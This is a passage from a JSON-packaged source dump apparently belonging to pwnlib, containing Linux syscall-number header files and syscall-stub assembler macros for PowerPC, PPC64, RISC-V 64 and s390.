__NR_setsockopt\t\t339\n#define __NR_getsockopt\t\t340\n#define __NR_sendmsg\t\t341\n#define __NR_recvmsg\t\t342\n#define __NR_recvmmsg\t\t343\n#define __NR_accept4\t\t344\n#define __NR_name_to_handle_at\t345\n#define __NR_open_by_handle_at\t346\n#define __NR_clock_adjtime\t347\n#define __NR_syncfs\t\t348\n#define __NR_sendmmsg\t\t349\n#define __NR_setns\t\t350\n#define __NR_process_vm_readv\t351\n#define __NR_process_vm_writev\t352\n#define __NR_finit_module\t353\n#define __NR_kcmp\t\t354\n#define __NR_sched_setattr\t355\n#define __NR_sched_getattr\t356\n#define __NR_renameat2\t\t357\n#define __NR_seccomp\t\t358\n#define __NR_getrandom\t\t359\n#define __NR_memfd_create\t360\n#define __NR_bpf\t\t361\n#define __NR_execveat\t\t362\n#define __NR_switch_endian\t363\n#define __NR_userfaultfd\t364\n#define __NR_membarrier\t\t365\n#define __NR_mlock2\t\t378\n#define __NR_copy_file_range\t379\n#define __NR_preadv2\t\t380\n#define __NR_pwritev2\t\t381\n#define __NR_kexec_file_load\t382\n#define __NR_statx\t\t383\n#define __NR_pkey_alloc\t\t384\n#define __NR_pkey_free\t\t385\n#define __NR_pkey_mprotect\t386\n#define __NR_rseq\t\t387\n#define __NR_io_pgetevents\t388\n#define __NR_semget\t393\n#define __NR_semctl\t394\n#define __NR_shmget\t395\n#define __NR_shmctl\t396\n#define __NR_shmat\t397\n#define __NR_shmdt\t398\n#define __NR_msgget\t399\n#define __NR_msgsnd\t400\n#define __NR_msgrcv\t401\n#define __NR_msgctl\t402\n#define __NR_clock_gettime64\t403\n#define __NR_clock_settime64\t404\n#define __NR_clock_adjtime64\t405\n#define __NR_clock_getres_time64\t406\n#define __NR_clock_nanosleep_time64\t407\n#define __NR_timer_gettime64\t408\n#define __NR_timer_settime64\t409\n#define __NR_timerfd_gettime64\t410\n#define __NR_timerfd_settime64\t411\n#define __NR_utimensat_time64\t412\n#define __NR_pselect6_time64\t413\n#define __NR_ppoll_time64\t414\n#define __NR_io_pgetevents_time64\t416\n#define __NR_recvmmsg_time64\t417\n#define __NR_mq_timedsend_time64\t418\n#define __NR_mq_timedreceive_time64\t419\n#define __NR_semtimedop_time64\t420\n#define __NR_rt_sigtimedwait_time64\t421\n#define __NR_futex_time64\t422\n#define __NR_sched_rr_get_interval_time64\t423\n#define __NR_pidfd_send_signal\t424\n#define __NR_io_uring_setup\t425\n#define __NR_io_uring_enter\t426\n#define __NR_io_uring_register\t427\n#define __NR_open_tree\t428\n#define __NR_move_mount\t429\n#define __NR_fsopen\t430\n#define __NR_fsconfig\t431\n#define __NR_fsmount\t432\n#define __NR_fspick\t433\n#define __NR_pidfd_open\t434\n#define __NR_clone3\t435\n#define __NR_openat2\t437\n#define __NR_pidfd_getfd\t438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\tli\t0,__NR_##name; \\\n\tb __unified_syscall\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\tli\t0,__NR_##name; \\\n\tb __unified_syscall\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/ppc64/syscalls.h",
    "content": "\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_open\t\t  5\n#define __NR_close\t\t  6\n#define __NR_waitpid\t\t  7\n#define __NR_creat\t\t  8\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_execve\t\t 11\n#define __NR_chdir\t\t 12\n#define __NR_time\t\t 13\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_lchown\t\t 16\n#define __NR_break\t\t 17\n#define __NR_oldstat\t\t 18\n#define __NR_lseek\t\t 19\n#define __NR_getpid\t\t 20\n#define __NR_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_setuid\t\t 23\n#define __NR_getuid\t\t 24\n#define __NR_stime\t\t 25\n#define __NR_ptrace\t\t 26\n#define __NR_alarm\t\t 27\n#define __NR_oldfstat\t\t 28\n#define __NR_pause\t\t 29\n#define __NR_utime\t\t 30\n#define __NR_stty\t\t 31\n#define __NR_gtty\t\t 32\n#define __NR_access\t\t 33\n#define __NR_nice\t\t 34\n#define __NR_ftime\t\t 35\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_rename\t\t 38\n#define __NR_mkdir\t\t 39\n#define __NR_rmdir\t\t 40\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_times\t\t 43\n#define __NR_prof\t\t 44\n#define __NR_brk\t\t 45\n#define __NR_setgid\t\t 46\n#define __NR_getgid\t\t 47\n#define __NR_signal\t\t 48\n#define __NR_geteuid\t\t 49\n#define __NR_getegid\t\t 50\n#define __NR_acct\t\t 51\n#define __NR_umount2\t\t 52\n#define __NR_lock\t\t 53\n#define __NR_ioctl\t\t 54\n#define __NR_fcntl\t\t 55\n#define __NR_mpx\t\t 56\n#define __NR_setpgid\t\t 57\n#define __NR_ulimit\t\t 58\n#define __NR_oldolduname\t 59\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_ustat\t\t 62\n#define __NR_dup2\t\t 63\n#define __NR_getppid\t\t 64\n#define __NR_getpgrp\t\t 65\n#define __NR_setsid\t\t 66\n#define __NR_sigaction\t\t 67\n#define __NR_sgetmask\t\t 68\n#define __NR_ssetmask\t\t 69\n#define __NR_setreuid\t\t 70\n#define __NR_setregid\t\t 71\n#define __NR_sigsuspend\t\t 72\n#define __NR_sigpending\t\t 73\n#define __NR_sethostname\t 74\n#define __NR_setrlimit\t\t 75\n#define __NR_getrlimit\t\t 76\n#define __NR_getrusage\t\t 77\n#define __NR_gettimeofday\t 78\n#define __NR_settimeofday\t 79\n#define __NR_getgroups\t\t 80\n#define __NR_setgroups\t\t 81\n#define __NR_select\t\t 82\n#define __NR_symlink\t\t 83\n#define __NR_oldlstat\t\t 84\n#define __NR_readlink\t\t 85\n#define __NR_uselib\t\t 86\n#define __NR_swapon\t\t 87\n#define __NR_reboot\t\t 88\n#define __NR_readdir\t\t 89\n#define __NR_mmap\t\t 90\n#define __NR_munmap\t\t 91\n#define __NR_truncate\t\t 92\n#define __NR_ftruncate\t\t 93\n#define __NR_fchmod\t\t 94\n#define __NR_fchown\t\t 95\n#define __NR_getpriority\t 96\n#define __NR_setpriority\t 97\n#define __NR_profil\t\t 98\n#define __NR_statfs\t\t 99\n#define __NR_fstatfs\t\t100\n#define __NR_ioperm\t\t101\n#define __NR_socketcall\t\t102\n#define __NR_syslog\t\t103\n#define __NR_setitimer\t\t104\n#define __NR_getitimer\t\t105\n#define __NR_stat\t\t106\n#define __NR_lstat\t\t107\n#define __NR_fstat\t\t108\n#define __NR_olduname\t\t109\n#define __NR_iopl\t\t110\n#define __NR_vhangup\t\t111\n#define __NR_idle\t\t112\n#define __NR_vm86\t\t113\n#define __NR_wait4\t\t114\n#define __NR_swapoff\t\t115\n#define __NR_sysinfo\t\t116\n#define __NR_ipc\t\t117\n#define __NR_fsync\t\t118\n#define __NR_sigreturn\t\t119\n#define __NR_clone\t\t120\n#define __NR_setdomainname\t121\n#define __NR_uname\t\t122\n#define __NR_modify_ldt\t\t123\n#define __NR_adjtimex\t\t124\n#define __NR_mprotect\t\t125\n#define __NR_sigprocmask\t126\n#define __NR_create_module\t127\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_get_kernel_syms\t130\n#define __NR_quotactl\t\t131\n#define __NR_getpgid\t\t132\n#define __NR_fchdir\t\t133\n#define __NR_bdflush\t\t134\n#define __NR_sysfs\t\t135\n#define __NR_personality\t136\n#define __NR_afs_syscall\t137 /* Syscall for Andrew File System */\n#define __NR_setfsuid\t\t138\n#define __NR_setfsgid\t\t139\n#define __NR__llseek\t\t140\n#define __NR_getdents\t\t141\n#define __NR__newselect\t\t142\n#define __NR_flock\t\t143\n#define __NR_msync\t\t144\n#define __NR_readv\t\t145\n#define __NR_writev\t\t146\n#define __NR_getsid\t\t147\n#define __NR_fdatasync\t\t148\n#define __NR__sysctl\t\t149\n#define __NR_mlock\t\t150\n#define __NR_munlock\t\t151\n#define __NR_mlockall\t\t152\n#define __NR_munlockall\t\t153\n#define __NR_sched_setparam\t\t154\n#define __NR_sched_getparam\t\t155\n#define __NR_sched_setscheduler\t\t156\n#define __NR_sched_getscheduler\t\t157\n#define __NR_sched_yield\t\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t\t162\n#define __NR_mremap\t\t163\n#define __NR_setresuid\t\t164\n#define __NR_getresuid\t\t165\n#define __NR_query_module\t166\n#define __NR_poll\t\t167\n#define __NR_nfsservctl\t\t168\n#define __NR_setresgid\t\t169\n#define __NR_getresgid\t\t170\n#define __NR_prctl\t\t171\n#define __NR_rt_sigreturn\t172\n#define __NR_rt_sigaction\t173\n#define __NR_rt_sigprocmask\t174\n#define __NR_rt_sigpending\t175\n#define __NR_rt_sigtimedwait\t176\n#define __NR_rt_sigqueueinfo\t177\n#define __NR_rt_sigsuspend\t178\n#define __NR_pread\t\t179\n#define __NR_pwrite\t\t180\n#define __NR_chown\t\t181\n#define __NR_getcwd\t\t182\n#define __NR_capget\t\t183\n#define __NR_capset\t\t184\n#define __NR_sigaltstack\t185\n#define __NR_sendfile\t\t186\n#define __NR_getpmsg\t\t187\t/* some people actually want streams */\n#define __NR_putpmsg\t\t188\t/* some people actually want streams */\n#define __NR_vfork\t\t189\n#define __NR_ugetrlimit\t\t190\t/* SuS compliant getrlimit */\n#define __NR_readahead\t\t191\n/* #define __NR_mmap2\t\t192\t32bit only */\n/* #define __NR_truncate64\t193\t32bit only */\n/* #define __NR_ftruncate64\t194\t32bit only */\n/* #define __NR_stat64\t\t195\t32bit only */\n/* #define __NR_lstat64\t\t196\t32bit only */\n/* #define __NR_fstat64\t\t197\t32bit only */\n#define __NR_pciconfig_read\t198\n#define __NR_pciconfig_write\t199\n#define __NR_pciconfig_iobase\t200\n#define __NR_multiplexer\t201\n#define __NR_getdents64\t\t202\n#define __NR_pivot_root\t\t203\n/* #define __NR_fcntl64\t\t204\t32bit only */\n#define __NR_madvise\t\t205\n#define __NR_mincore\t\t206\n#define __NR_gettid\t\t207\n#define __NR_tkill\t\t208\n#define __NR_setxattr\t\t209\n#define __NR_lsetxattr\t\t210\n#define __NR_fsetxattr\t\t211\n#define __NR_getxattr\t\t212\n#define __NR_lgetxattr\t\t213\n#define __NR_fgetxattr\t\t214\n#define __NR_listxattr\t\t215\n#define __NR_llistxattr\t\t216\n#define __NR_flistxattr\t\t217\n#define __NR_removexattr\t218\n#define __NR_lremovexattr\t219\n#define __NR_fremovexattr\t220\n#define __NR_futex\t\t221\n#define __NR_sched_setaffinity\t222\n#define __NR_sched_getaffinity\t223\n/* 224 currently unused */\n#define __NR_tuxcall\t\t225\n/* #define __NR_sendfile64\t226\t32bit only */\n#define __NR_io_setup\t\t227\n#define __NR_io_destroy\t\t228\n#define __NR_io_getevents\t229\n#define __NR_io_submit\t\t230\n#define __NR_io_cancel\t\t231\n#define __NR_set_tid_address\t232\n#define __NR_fadvise64\t\t233\n#define __NR_exit_group\t\t234\n#define __NR_lookup_dcookie\t235\n#define __NR_epoll_create\t236\n#define __NR_epoll_ctl\t\t237\n#define __NR_epoll_wait\t\t238\n#define __NR_remap_file_pages\t239\n#define __NR_timer_create\t240\n#define __NR_timer_settime\t241\n#define __NR_timer_gettime\t242\n#define __NR_timer_getoverrun\t243\n#define __NR_timer_delete\t244\n#define __NR_clock_settime\t245\n#define __NR_clock_gettime\t246\n#define __NR_clock_getres\t247\n#define __NR_clock_nanosleep\t248\n#define __NR_swapcontext\t249\n#define __NR_tgkill\t\t250\n#define __NR_utimes\t\t251\n#define __NR_statfs64\t\t252\n#define __NR_fstatfs64\t\t253\n/* #define __NR_fadvise64_64\t254\t32bit only */\n#define __NR_rtas\t\t255\n/* Number 256 is reserved for sys_debug_setcontext */\n/* Number 257 is reserved for vserver */\n/* Number 258 is reserved for new sys_remap_file_pages */\n#define __NR_mbind\t\t259\n#define __NR_get_mempolicy\t260\n#define __NR_set_mempolicy\t261\n#define __NR_mq_open\t\t262\n#define __NR_mq_unlink\t\t263\n#define __NR_mq_timedsend\t264\n#define __NR_mq_timedreceive\t265\n#define __NR_mq_notify\t\t266\n#define __NR_mq_getsetattr\t267\n#define __NR_kexec_load\t\t268\n#define __NR_add_key\t\t269\n#define __NR_request_key\t270\n#define __NR_keyctl\t\t271\n#define __NR_waitid\t\t272\n#define __NR_ioprio_set\t\t273\n#define __NR_ioprio_get\t\t274\n#define __NR_inotify_init\t275\n#define __NR_inotify_add_watch\t276\n#define __NR_inotify_rm_watch\t277\n#define __NR_spu_run\t\t278\n#define __NR_spu_create\t\t279\n#define __NR_pselect6\t\t280\n#define __NR_ppoll\t\t281\n#define __NR_unshare\t\t282\n#define __NR_splice\t\t283\n#define __NR_tee\t\t284\n#define __NR_vmsplice\t\t285\n#define __NR_openat\t\t286\n#define __NR_mkdirat\t\t287\n#define __NR_mknodat\t\t288\n#define __NR_fchownat\t\t289\n#define __NR_futimesat\t\t290\n#define __NR_newfstatat\t\t291\n#define __NR_unlinkat\t\t292\n#define __NR_renameat\t\t293\n#define __NR_linkat\t\t294\n#define __NR_symlinkat\t\t295\n#define __NR_readlinkat\t\t296\n#define __NR_fchmodat\t\t297\n#define __NR_faccessat\t\t298\n#define __NR_get_robust_list\t299\n#define __NR_set_robust_list\t300\n#define __NR_move_pages\t\t301\n#define __NR_getcpu\t\t302\n#define __NR_epoll_pwait\t303\n#define __NR_utimensat\t\t304\n#define __NR_signalfd\t\t305\n#define __NR_timerfd\t\t306\n#define __NR_eventfd\t\t307\n#define __NR_sync_file_range2\t308\n#define __NR_fallocate\t\t309\n#define __NR_subpage_prot\t310\n#define __NR_timerfd_settime\t311\n#define __NR_timerfd_gettime\t312\n#define __NR_signalfd4\t\t313\n#define __NR_eventfd2\t\t314\n#define __NR_epoll_create1\t315\n#define __NR_dup3\t\t316\n#define __NR_pipe2\t\t317\n#define __NR_inotify_init1\t318\n#define __NR_perf_event_open\t319\n#define __NR_preadv\t\t320\n#define __NR_pwritev\t\t321\n#define __NR_rt_tgsigqueueinfo\t322\n#define __NR_fanotify_init\t323\n#define __NR_fanotify_mark\t324\n#define __NR_prlimit64\t\t325\n#define __NR_socket\t\t326\n#define __NR_bind\t\t327\n#define __NR_connect\t\t328\n#define __NR_listen\t\t329\n#define __NR_accept\t\t330\n#define __NR_getsockname\t331\n#define __NR_getpeername\t332\n#define __NR_socketpair\t\t333\n#define __NR_send\t\t334\n#define __NR_sendto\t\t335\n#define __NR_recv\t\t336\n#define __NR_recvfrom\t\t337\n#define __NR_shutdown\t\t338\n#define __NR_setsockopt\t\t339\n#define __NR_getsockopt\t\t340\n#define __NR_sendmsg\t\t341\n#define __NR_recvmsg\t\t342\n#define __NR_recvmmsg\t\t343\n#define __NR_accept4\t\t344\n#define __NR_name_to_handle_at\t345\n#define __NR_open_by_handle_at\t346\n#define __NR_clock_adjtime\t347\n#define __NR_syncfs\t\t348\n#define __NR_sendmmsg\t\t349\n#define __NR_setns\t\t350\n#define __NR_process_vm_readv\t351\n#define __NR_process_vm_writev\t352\n#define __NR_finit_module\t353\n#define __NR_kcmp\t\t354\n#define __NR_sched_setattr\t355\n#define __NR_sched_getattr\t356\n#define __NR_renameat2\t\t357\n#define __NR_seccomp\t\t358\n#define __NR_getrandom\t\t359\n#define __NR_memfd_create\t360\n#define __NR_bpf\t\t361\n#define __NR_execveat\t\t362\n#define __NR_switch_endian\t363\n#define __NR_userfaultfd\t364\n#define __NR_membarrier\t\t365\n#define __NR_mlock2\t\t378\n#define __NR_copy_file_range\t379\n#define __NR_preadv2\t\t380\n#define __NR_pwritev2\t\t381\n#define __NR_kexec_file_load\t382\n#define __NR_statx\t\t383\n#define __NR_pkey_alloc\t\t384\n#define __NR_pkey_free\t\t385\n#define __NR_pkey_mprotect\t386\n#define __NR_rseq\t\t387\n#define __NR_io_pgetevents\t388\n#define __NR_semtimedop\t392\n#define __NR_semget\t393\n#define __NR_semctl\t394\n#define __NR_shmget\t395\n#define __NR_shmctl\t396\n#define __NR_shmat\t397\n#define __NR_shmdt\t398\n#define __NR_msgget\t399\n#define __NR_msgsnd\t400\n#define __NR_msgrcv\t401\n#define __NR_msgctl\t402\n#define __NR_pidfd_send_signal\t424\n#define __NR_io_uring_setup\t425\n#define __NR_io_uring_enter\t426\n#define __NR_io_uring_register\t427\n#define __NR_open_tree\t428\n#define __NR_move_mount\t429\n#define __NR_fsopen\t430\n#define __NR_fsconfig\t431\n#define __NR_fsmount\t432\n#define __NR_fspick\t433\n#define __NR_pidfd_open\t434\n#define __NR_clone3\t435\n#define __NR_openat2\t437\n#define __NR_pidfd_getfd\t438\n\n#if defined(_CALL_ELF) && _CALL_ELF == 2\n\n#define __diet_proto_common(sym) \\\n\t.type\tsym,@function\n\n#define diet_proto_weak(sym) \\\n\t.weak\tsym; \\\n\t__diet_proto_common(sym)\n\n#define diet_proto(sym) \\\n\t.globl\tsym; \\\n\t__diet_proto_common(sym)\n\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\ndiet_proto_weak(wsym); \\\ndiet_proto(sym); \\\nwsym: \\\nsym: \\\n\taddis\t2,12,.TOC.-sym@ha; \\\n\taddi\t2,2,.TOC.-sym@l; \\\n.localentry\tsym,.-sym; \\\n.localentry\twsym,.-wsym; \\\n\tli\t0,__NR_##name; \\\n\tb\t__unified_syscall\n\n#define syscall(name,sym) \\\n.text; \\\ndiet_proto(sym); \\\nsym: \\\n\taddis\t2,12,.TOC.-sym@ha; \\\n\taddi\t2,2,.TOC.-sym@l; \\\n.localentry\tsym,.-sym; \\\n\tli\t0,__NR_##name; \\\n\tb\t__unified_syscall\n\n#else /* _ELF_CALL != 2 */\n\n#define __diet_proto_common(sym) \\\n\t.section \".opd\",\"aw\"; \\\n\t.align\t3; \\\nsym: \\\n\t.quad\t.sym,.TOC.@tocbase,0; \\\n\t.previous; \\\n\t.size\tsym,24; \\\n\t.type\t.sym,@function\n\n#define diet_proto_weak(sym) \\\n\t.weak\tsym; \\\n\t.weak\t.sym; \\\n\t__diet_proto_common(sym)\n\n#define diet_proto(sym) \\\n\t.globl\tsym; \\\n\t.globl\t.sym; \\\n\t__diet_proto_common(sym)\n\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\ndiet_proto_weak(wsym); \\\ndiet_proto(sym); \\\n.wsym: \\\n.sym: \\\n\tli\t0,__NR_##name; \\\n\tb\t__unified_syscall\n\n#define syscall(name,sym) \\\n.text; \\\ndiet_proto(sym); \\\n.sym: \\\n\tli\t0,__NR_##name; \\\n\tb\t__unified_syscall\n\n#endif /* _ELF_CALL == 2 */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/ppc64le/syscalls.h",
    "content": "#include \"../ppc64/syscalls.h\"\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/riscv64/syscalls.h",
    "content": "#define __NR_io_setup 0\n#define __NR_io_destroy 1\n#define __NR_io_submit 2\n#define __NR_io_cancel 3\n#define __NR_io_getevents 4\n#define __NR_setxattr 5\n#define __NR_lsetxattr 6\n#define __NR_fsetxattr 7\n#define __NR_getxattr 8\n#define __NR_lgetxattr 9\n#define __NR_fgetxattr 10\n#define __NR_listxattr 11\n#define __NR_llistxattr 12\n#define __NR_flistxattr 13\n#define __NR_removexattr 14\n#define __NR_lremovexattr 15\n#define __NR_fremovexattr 16\n#define __NR_getcwd 17\n#define __NR_lookup_dcookie 18\n#define __NR_eventfd2 19\n#define __NR_epoll_create1 20\n#define __NR_epoll_ctl 21\n#define __NR_epoll_pwait 22\n#define __NR_dup 23\n#define __NR_dup3 24\n#define __NR_fcntl 25\n#define __NR_inotify_init1 26\n#define __NR_inotify_add_watch 27\n#define __NR_inotify_rm_watch 28\n#define __NR_ioctl 29\n#define __NR_ioprio_set 30\n#define __NR_ioprio_get 31\n#define __NR_flock 32\n#define __NR_mknodat 33\n#define __NR_mkdirat 34\n#define __NR_unlinkat 35\n#define __NR_symlinkat 36\n#define __NR_linkat 37\n#define __NR_umount2 39\n#define __NR_mount 40\n#define __NR_pivot_root 41\n#define __NR_nfsservctl 42\n#define __NR_statfs 43\n#define __NR_fstatfs 44\n#define __NR_truncate 45\n#define __NR_ftruncate 46\n#define __NR_fallocate 47\n#define __NR_faccessat 48\n#define __NR_chdir 49\n#define __NR_fchdir 50\n#define __NR_chroot 51\n#define __NR_fchmod 52\n#define __NR_fchmodat 53\n#define __NR_fchownat 54\n#define __NR_fchown 55\n#define __NR_openat 56\n#define __NR_close 57\n#define __NR_vhangup 58\n#define __NR_pipe2 59\n#define __NR_quotactl 60\n#define __NR_getdents64 61\n#define __NR_lseek 62\n#define __NR_read 63\n#define __NR_write 64\n#define __NR_readv 65\n#define __NR_writev 66\n#define __NR_pread64 67\n#define __NR_pwrite64 68\n#define __NR_preadv 69\n#define __NR_pwritev 70\n#define __NR_sendfile 71\n#define __NR_pselect6 72\n#define __NR_ppoll 73\n#define __NR_signalfd4 74\n#define __NR_vmsplice 75\n#define __NR_splice 76\n#define __NR_tee 77\n#define __NR_readlinkat 78\n#define __NR_newfstatat 79\n#define __NR_fstat 80\n#define __NR_sync 81\n#define __NR_fsync 82\n#define __NR_fdatasync 83\n#define __NR_sync_file_range 84\n#define __NR_timerfd_create 85\n#define __NR_timerfd_settime 86\n#define __NR_timerfd_gettime 87\n#define __NR_utimensat 88\n#define __NR_acct 89\n#define __NR_capget 90\n#define __NR_capset 91\n#define __NR_personality 92\n#define __NR_exit 93\n#define __NR_exit_group 94\n#define __NR_waitid 95\n#define __NR_set_tid_address 96\n#define __NR_unshare 97\n#define __NR_futex 98\n#define __NR_set_robust_list 99\n#define __NR_get_robust_list 100\n#define __NR_nanosleep 101\n#define __NR_getitimer 102\n#define __NR_setitimer 103\n#define __NR_kexec_load 104\n#define __NR_init_module 105\n#define __NR_delete_module 106\n#define __NR_timer_create 107\n#define __NR_timer_gettime 108\n#define __NR_timer_getoverrun 109\n#define __NR_timer_settime 110\n#define __NR_timer_delete 111\n#define __NR_clock_settime 112\n#define __NR_clock_gettime 113\n#define __NR_clock_getres 114\n#define __NR_clock_nanosleep 115\n#define __NR_syslog 116\n#define __NR_ptrace 117\n#define __NR_sched_setparam 118\n#define __NR_sched_setscheduler 119\n#define __NR_sched_getscheduler 120\n#define __NR_sched_getparam 121\n#define __NR_sched_setaffinity 122\n#define __NR_sched_getaffinity 123\n#define __NR_sched_yield 124\n#define __NR_sched_get_priority_max 125\n#define __NR_sched_get_priority_min 126\n#define __NR_sched_rr_get_interval 127\n#define __NR_restart_syscall 128\n#define __NR_kill 129\n#define __NR_tkill 130\n#define __NR_tgkill 131\n#define __NR_sigaltstack 132\n#define __NR_rt_sigsuspend 133\n#define __NR_rt_sigaction 134\n#define __NR_rt_sigprocmask 135\n#define __NR_rt_sigpending 136\n#define __NR_rt_sigtimedwait 137\n#define __NR_rt_sigqueueinfo 138\n#define __NR_rt_sigreturn 139\n#define __NR_setpriority 140\n#define __NR_getpriority 141\n#define __NR_reboot 142\n#define __NR_setregid 143\n#define __NR_setgid 144\n#define __NR_setreuid 145\n#define __NR_setuid 146\n#define __NR_setresuid 147\n#define __NR_getresuid 148\n#define __NR_setresgid 149\n#define __NR_getresgid 150\n#define __NR_setfsuid 151\n#define __NR_setfsgid 152\n#define __NR_times 153\n#define __NR_setpgid 154\n#define __NR_getpgid 155\n#define __NR_getsid 156\n#define __NR_setsid 157\n#define __NR_getgroups 158\n#define __NR_setgroups 159\n#define __NR_uname 160\n#define __NR_sethostname 161\n#define __NR_setdomainname 162\n#define __NR_getrlimit 163\n#define __NR_setrlimit 164\n#define __NR_getrusage 165\n#define __NR_umask 166\n#define __NR_prctl 167\n#define __NR_getcpu 168\n#define __NR_gettimeofday 169\n#define __NR_settimeofday 170\n#define __NR_adjtimex 171\n#define __NR_getpid 172\n#define __NR_getppid 173\n#define __NR_getuid 174\n#define __NR_geteuid 175\n#define __NR_getgid 176\n#define __NR_getegid 177\n#define __NR_gettid 178\n#define __NR_sysinfo 179\n#define __NR_mq_open 180\n#define __NR_mq_unlink 181\n#define __NR_mq_timedsend 182\n#define __NR_mq_timedreceive 183\n#define __NR_mq_notify 184\n#define __NR_mq_getsetattr 185\n#define __NR_msgget 186\n#define __NR_msgctl 187\n#define __NR_msgrcv 188\n#define __NR_msgsnd 189\n#define __NR_semget 190\n#define __NR_semctl 191\n#define __NR_semtimedop 192\n#define __NR_semop 193\n#define __NR_shmget 194\n#define __NR_shmctl 195\n#define __NR_shmat 196\n#define __NR_shmdt 197\n#define __NR_socket 198\n#define __NR_socketpair 199\n#define __NR_bind 200\n#define __NR_listen 201\n#define __NR_accept 202\n#define __NR_connect 203\n#define __NR_getsockname 204\n#define __NR_getpeername 205\n#define __NR_sendto 206\n#define __NR_recvfrom 207\n#define __NR_setsockopt 208\n#define __NR_getsockopt 209\n#define __NR_shutdown 210\n#define __NR_sendmsg 211\n#define __NR_recvmsg 212\n#define __NR_readahead 213\n#define __NR_brk 214\n#define __NR_munmap 215\n#define __NR_mremap 216\n#define __NR_add_key 217\n#define __NR_request_key 218\n#define __NR_keyctl 219\n#define __NR_clone 220\n#define __NR_execve 221\n#define __NR_mmap 222\n#define __NR_fadvise64 223\n#define __NR_swapon 224\n#define __NR_swapoff 225\n#define __NR_mprotect 226\n#define __NR_msync 227\n#define __NR_mlock 228\n#define __NR_munlock 229\n#define __NR_mlockall 230\n#define __NR_munlockall 231\n#define __NR_mincore 232\n#define __NR_madvise 233\n#define __NR_remap_file_pages 234\n#define __NR_mbind 235\n#define __NR_get_mempolicy 236\n#define __NR_set_mempolicy 237\n#define __NR_migrate_pages 238\n#define __NR_move_pages 239\n#define __NR_rt_tgsigqueueinfo 240\n#define __NR_perf_event_open 241\n#define __NR_accept4 242\n#define __NR_recvmmsg 243\n#define __NR_arch_specific_syscall 244\n#define __NR_wait4 260\n#define __NR_prlimit64 261\n#define __NR_fanotify_init 262\n#define __NR_fanotify_mark 263\n#define __NR_name_to_handle_at 264\n#define __NR_open_by_handle_at 265\n#define __NR_clock_adjtime 266\n#define __NR_syncfs 267\n#define __NR_setns 268\n#define __NR_sendmmsg 269\n#define __NR_process_vm_readv 270\n#define __NR_process_vm_writev 271\n#define __NR_kcmp 272\n#define __NR_finit_module 273\n#define __NR_sched_setattr 274\n#define __NR_sched_getattr 275\n#define __NR_renameat2 276\n#define __NR_seccomp 277\n#define __NR_getrandom 278\n#define __NR_memfd_create 279\n#define __NR_bpf 280\n#define __NR_execveat 281\n#define __NR_userfaultfd 282\n#define __NR_membarrier 283\n#define __NR_mlock2 284\n#define __NR_copy_file_range 285\n#define __NR_preadv2 286\n#define __NR_pwritev2 287\n#define __NR_pkey_mprotect 288\n#define __NR_pkey_alloc 289\n#define __NR_pkey_free 290\n#define __NR_statx 291\n#define __NR_io_pgetevents 292\n#define __NR_rseq 293\n#define __NR_kexec_file_load 294\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree\t\t428\n#define __NR_move_mount\t\t429\n#define __NR_fsopen\t\t430\n#define __NR_fsconfig\t\t431\n#define __NR_fsmount\t\t432\n#define __NR_fspick\t\t433\n#define __NR_pidfd_open\t\t434\n#define __NR_clone3\t\t435\n#define __NR_close_range\t436\n#define __NR_openat2\t\t437\n#define __NR_pidfd_getfd\t438\n#define __NR_faccessat2\t\t439\n#define __NR_process_madvise\t440\n#define __NR_epoll_pwait2\t441\n#define __NR_mount_setattr\t442\n#define __NR_landlock_create_ruleset\t444\n#define __NR_landlock_add_rule\t445\n#define __NR_landlock_restrict_self\t446\n\n#define __NR_sysriscv __NR_arch_specific_syscall\n#define __NR_riscv_flush_icache (__NR_sysriscv + 15)\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/s390/syscalls.h",
    "content": "\n\n\n\n\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_open\t\t  5\n#define __NR_close\t\t  6\n#define __NR_restart_syscall      7\n#define __NR_creat\t\t  8\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_execve\t\t 11\n#define __NR_chdir\t\t 12\n#define __NR_time\t\t 13\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_lchown\t\t 16\n#define __NR_lseek\t\t 19\n#define __NR_getpid\t\t 20\n#define __NR_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_setuid\t\t 23\n#define __NR_getuid\t\t 24\n#define __NR_stime\t\t 25\n#define __NR_ptrace\t\t 26\n#define __NR_alarm\t\t 27\n#define __NR_pause\t\t 29\n#define __NR_utime\t\t 30\n#define __NR_access\t\t 33\n#define __NR_nice\t\t 34\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_rename\t\t 38\n#define __NR_mkdir\t\t 39\n#define __NR_rmdir\t\t 40\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_times\t\t 43\n#define __NR_brk\t\t 45\n#define __NR_setgid\t\t 46\n#define __NR_getgid\t\t 47\n#define __NR_signal\t\t 48\n#define __NR_geteuid\t\t 